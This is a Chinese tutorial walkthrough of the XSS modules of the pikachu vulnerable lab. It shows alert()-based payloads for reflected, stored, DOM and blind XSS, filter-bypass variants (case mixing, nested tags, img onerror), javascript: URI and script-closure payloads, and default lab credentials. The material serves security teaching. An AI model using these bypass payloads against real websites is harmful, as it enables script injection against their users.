pikachu靶机-Cross-Site Scripting(XSS)

++本篇文章旨在为网络安全渗透测试靶机复现教学。通过阅读本文,读者将能够对渗透pikachu靶场XSS跨站脚本攻击模块有一定的了解++

原文学习链接

CSDN博主:One_Blanks

主页地址:https://blog.csdn.net/NPSM_?type=blog

一、靶机资源下载

PHPStudy:

https://www.xp.cn/php-study

pikachu:

https://github.com/zhuifengshaonianhanlu/pikachu

二、反射型XSS(get)

1.1 提交框插入XSS检测代码

复制代码
# xss口令:见框就插
<script>alert("XSS")</script>

1.2 burp suite抓包并找到传参点

1.3 burp suite改包后发送数据包,查看浏览器执行结果

1.4 方法二:修改前端输入框长度限制

三、反射型XSS(post)

1.1 爆破登录框

复制代码
username=admin
password=123456

1.2 插入XSS检测代码

复制代码
<script>alert("XSS")</script>

四、存储型XSS

复制代码
<script>alert("XSS")</script>

五、DOM型XSS

复制代码
# DOM型就是将XSS输入到标签属性中了,利用标签属性进行触发
javascript:alert(23)

六、DOM型xss-x

复制代码
# DOM型就是将XSS输入到标签属性中了,利用属性进行触发
javascript:alert(23)

七、XSS盲打

1.1 插入XSS检测代码

复制代码
<script>alert("xss")</script> 

1.2 查看提示

1.3 根据提示进入登陆地址

复制代码
http://192.168.60.181/pikachu/vul/xss/xssblind/admin_login.php
#根据自己靶机IP地址更换下IP

八、xss过滤

1.1 输入框输入XSS检测代码

复制代码
<script>alert("xss")</script>

1.2 使用其他XSS检测代码尝试

复制代码
大小写混淆过滤,<scRipt>alert(14)</sCript>
使用注释进行干扰: <sc<!--test--> ript> alert(14)</scr <--test--> ipt>
重写: <scri<script> pt> alert(14)</scri</script> pt>
使用img标签<img src=xss onerror="alert(11)">

九、 xss之htmlspecialchars

1.1 输入框输入XSS检测代码

复制代码
<script>alert("xss")</script>

1.2 重新构造XSS检测代码

复制代码
# htmlspecialchars()函数把预定义的字符转换为HTML实体
# &(和号)成为&
# "(双引号)成为"
# '(单引号)成为'
# <(小于)成为<
# '>'(大于)成为>
javascript:alert("XSS")

十、xss之href输出

复制代码
javascript:alert("XSS")

十一、xss之js输出

1.1 插入xss检测代码

复制代码
<script>alert(1)</script>

1.2 重构xss检测语句

复制代码
</script><script>alert(1)</script>
# 前面多写一个</script>与网站代码中的<script>形成闭合,再去执行我们的<script>alert(xss)</script>
相关推荐
athink_cn2 小时前
HTTP/2新型漏洞“MadeYouReset“曝光:可发动大规模DoS攻击
网络·网络协议·安全·http·网络安全
zzc9212 小时前
TLSv1.2协议与TCP/UDP协议传输数据内容差异
网络·测试工具·安全·wireshark·ssl·密钥·tlsv1.2
Peter_Deng.2 小时前
Linux 下基于 TCP 的 C 语言客户端/服务器通信详解(三个示例逐步进阶)
服务器·c语言·网络
wxy3193 小时前
嵌入式LINUX——————TCP并发服务器
java·linux·网络
蒋星熠4 小时前
C++零拷贝网络编程实战:从理论到生产环境的性能优化之路
网络·c++·人工智能·深度学习·性能优化·系统架构
huluang4 小时前
医院网络安全重保行动方案
网络·安全
九州ip动态4 小时前
如何安全使用改IP软件更改异地IP地址?
网络·tcp/ip·安全
老蒋新思维6 小时前
存量竞争下的破局之道:品牌与IP的双引擎策略|创客匠人
大数据·网络·知识付费·创客匠人·知识变现
qzhqbb6 小时前
IP数据报相关内容
网络·网络协议·tcp/ip
小浣浣8 小时前
为何她总在关键时“失联”?—— 解密 TCP 连接异常中断
网络·网络协议·tcp/ip